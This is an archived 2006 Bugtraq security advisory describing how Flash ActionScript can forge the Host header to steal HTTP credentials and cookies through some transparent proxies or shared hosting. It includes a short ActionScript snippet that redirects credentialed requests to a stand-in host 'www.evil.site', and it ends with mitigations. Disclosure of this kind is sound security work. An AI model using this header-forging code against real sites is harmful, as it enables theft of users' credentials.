bugtraq - Technical note: under some conditions, it's possible to steal HTTP credentials using Flash

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Date: Mon, 14 Aug 2006 20:52:45 +0200
From: "Amit Klein (AKsecurity)" <aksecurity@...pop.com>
To: bugtraq@...urityfocus.com, websecurity@...appsec.org,
	webappsec@...urityfocus.com
Subject: Technical note: under some conditions,
 it's possible to steal HTTP credentials using Flash

Technical note: under some conditions, it's possible to steal HTTP credentials using Flash  
(requires IE + some transparent proxies or virtual hosting)

The method described here is pretty simple. It works
though only on HTTP (not HTTPS) credentials. Also, it
works only when the client browses (using IE) through certain
types of transparent proxies (or the target server is
virtually hosted together with an attacker site).

The idea is to force a Host request header, using
Flash (this idea was presented in "Forging HTTP request headers with Flash",
http://www.securityfocus.com/archive/1/441014). A victim
(browser) is presented with a Flash resource (say,
http://www.evil.site/attack.swf) that contains the
following ActionScript code:

var req:LoadVars=new LoadVars();
req.addRequestHeader("Host:","www.evil.site");
req.send("http://www.target.site/some/path/","_blank");

The browser assumes that the request goes to
http://www.target.site/some/path/, so it adds whatever
credentials that are relevant (non secure cookies -
including HttpOnly cookies, HTTP basic auth, etc.).
But the actual request has a different Host header.
The request goes to the IP address of www.target.site.
However, a transparent proxy (e.g. one operated by the
victim's ISP, intercepting all port 80 traffic) may
disregard the original destination IP address and send
the request to the IP address of www.evil.site (I 
noticed some popular transparent proxies do that). Even
if no such proxy server exists, the attacker may
acquire web presence on the same IP address with
www.target.site, park the domain www.evil.site there,
and when the request arrives to the web server, it
will go to www.evil.site.

Note that the Host header modification in order to
steal credentials was discussed in "XS(T) attack variants
which can, in some cases,eliminate the need for TRACE", 
http://www.securityfocus.com/archive/107/308433, yet at that
time it seemed that the only way to force such header
was from XmlHttpRequest, which necessiates XSS
condition (due to the "same origin" policy). With
Flash, this same origin policy doesn't apply, hence no
need for XSS condition.

Recommendation: 
1. Use SSL (HTTPS), and set the secure bit of the cookie accordingly.
2. Do not use virtual hosting with possibly malicious websites.